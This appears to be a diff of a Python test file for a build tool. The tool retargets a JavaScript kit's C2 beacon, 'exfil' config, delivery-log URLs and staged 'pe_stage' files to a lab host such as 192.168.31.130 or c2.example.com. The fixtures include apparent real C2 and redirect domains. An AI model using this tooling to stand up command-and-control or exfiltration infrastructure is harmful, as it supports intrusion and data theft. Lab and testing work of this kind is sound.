(self.source / "config.js").write_text(
|
||||
'redirectUrl: "https://ab.ux600.com"\nconst HQ_WALLET_PORT = "443";\n',
|
||||
encoding="utf-8",
|
||||
)
|
||||
(self.source / "config.js").write_text(CONFIG, encoding="utf-8")
|
||||
(self.source / "keep.txt").write_text("untouched\n", encoding="utf-8")
|
||||
(self.source / "pe_worker.js").write_text(
|
||||
'var _HQ_DELIV_LOG_URL = "http://one99.vip:80/log";\n'
|
||||
'__labCfHttp("POST", "/log", body, false);\n'
|
||||
'__labCfHttp("GET", "/log.html?" + q, null, false);\n',
|
||||
'const C2 = "https://mh0usocqzi6f46i.com:443/beacon";\n'
|
||||
'function p7(){ return { host: "192.168.31.130", port: 8080 }; }\n',
|
||||
encoding="utf-8",
|
||||
)
|
||||
(self.source / "log.html").write_text("static log\n", encoding="utf-8")
|
||||
(self.source / "pe_stage").mkdir()
|
||||
(self.source / "pe_stage" / "s1_launchd.js").write_text("// stage\n", encoding="utf-8")
|
||||
|
||||
def tearDown(self) -> None:
|
||||
shutil.rmtree(self.tmp, ignore_errors=True)
|
||||
|
||||
def test_rewrites_and_publishes_without_touching_source(self) -> None:
|
||||
def test_rewrites_c2_and_publishes_pe_stage(self) -> None:
|
||||
before = (self.source / "config.js").read_text(encoding="utf-8")
|
||||
hits = build.build(
|
||||
self.source,
|
||||
self.dest,
|
||||
"192.168.31.130",
|
||||
8080,
|
||||
"http://192.168.31.130:8080",
|
||||
)
|
||||
self.assertTrue(hits)
|
||||
result = build.build(self.source, self.dest, "http://192.168.31.130:8000")
|
||||
self.assertEqual((self.source / "config.js").read_text(encoding="utf-8"), before)
|
||||
self.assertEqual(result["c2"], "http://192.168.31.130:8000")
|
||||
published = (self.dest / "config.js").read_text(encoding="utf-8")
|
||||
self.assertIn("http://192.168.31.130:8080/?landed=1", published)
|
||||
self.assertIn('const HQ_WALLET_PORT = "8080"', published)
|
||||
self.assertNotIn("ab.ux600.com", published)
|
||||
self.assertIn('host: "192.168.31.130"', published)
|
||||
self.assertIn("http_port: 8000", published)
|
||||
self.assertIn("tls: false", published)
|
||||
self.assertEqual((self.dest / "keep.txt").read_text(encoding="utf-8"), "untouched\n")
|
||||
self.assertFalse((self.dest / "api").exists())
|
||||
worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8")
|
||||
self.assertIn('var _HQ_DELIV_LOG_URL = "http://192.168.31.130:8080/api/ds/log"', worker)
|
||||
self.assertIn('__labCfHttp("POST", "/api/ds/log"', worker)
|
||||
self.assertIn('__labCfHttp("GET", "/api/ds/log?"', worker)
|
||||
self.assertNotIn("/log.html", worker)
|
||||
self.assertNotIn('__labCfHttp("POST", "/log"', worker)
|
||||
self.assertIn("http://192.168.31.130:8000/beacon", worker)
|
||||
self.assertIn('{ host: "192.168.31.130", port: 8000 }', worker)
|
||||
self.assertFalse((self.dest / "log.html").exists())
|
||||
self.assertTrue((self.dest / "pe_stage" / "s1_launchd.js").is_file())
|
||||
self.assertEqual((self.dest / "pe_stage" / "s1_launchd.js").read_text(encoding="utf-8"), "// stage\n")
|
||||
|
||||
def test_origin_override(self) -> None:
|
||||
host, port, origin = build.resolve_origin(
|
||||
type("A", (), {"origin": "https://lab.example:8443", "host": "x", "port": 1, "scheme": "http"})()
|
||||
)
|
||||
self.assertEqual((host, port, origin), ("lab.example", 8443, "https://lab.example:8443"))
|
||||
|
||||
def test_origin_rewrites_lab_template_config(self) -> None:
|
||||
(self.source / "config.js").write_text(
|
||||
'window.NEWS2_CONFIG = {\n'
|
||||
' exfil: {\n'
|
||||
' host: "192.168.31.130",\n'
|
||||
' domain: "192.168.31.130",\n'
|
||||
' http_port: 8000,\n'
|
||||
' https_port: 8000,\n'
|
||||
' tls: false,\n'
|
||||
' prefer_https: false,\n'
|
||||
' },\n'
|
||||
' redirectUrl: "https://ab.ux600.com",\n'
|
||||
'};\n',
|
||||
encoding="utf-8",
|
||||
)
|
||||
build.build(
|
||||
self.source,
|
||||
self.dest,
|
||||
"c2.example.com",
|
||||
443,
|
||||
"https://c2.example.com",
|
||||
)
|
||||
def test_https_c2(self) -> None:
|
||||
build.build(self.source, self.dest, "https://c2.example.com")
|
||||
published = (self.dest / "config.js").read_text(encoding="utf-8")
|
||||
self.assertIn('host: "c2.example.com"', published)
|
||||
self.assertIn('domain: "c2.example.com"', published)
|
||||
self.assertIn("http_port: 443", published)
|
||||
self.assertIn("https_port: 443", published)
|
||||
self.assertIn("tls: true", published)
|
||||
self.assertIn("https://c2.example.com/?landed=1", published)
|
||||
self.assertNotIn("192.168.31.130", published)
|
||||
self.assertNotIn("ab.ux600.com", published)
|
||||
self.assertIn("https://c2.example.com/beacon", (self.dest / "pe_worker.js").read_text(encoding="utf-8"))
|
||||
|
||||
def test_parse_endpoint(self) -> None:
|
||||
ep = build.parse_endpoint("https://lab.example:8443/next-chain", label="--delivery")
|
||||
self.assertEqual(ep.host, "lab.example")
|
||||
self.assertEqual(ep.port, 8443)
|
||||
self.assertEqual(ep.origin, "https://lab.example:8443")
|
||||
self.assertEqual(ep.url, "https://lab.example:8443/next-chain")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
Reference in New Issue
Block a user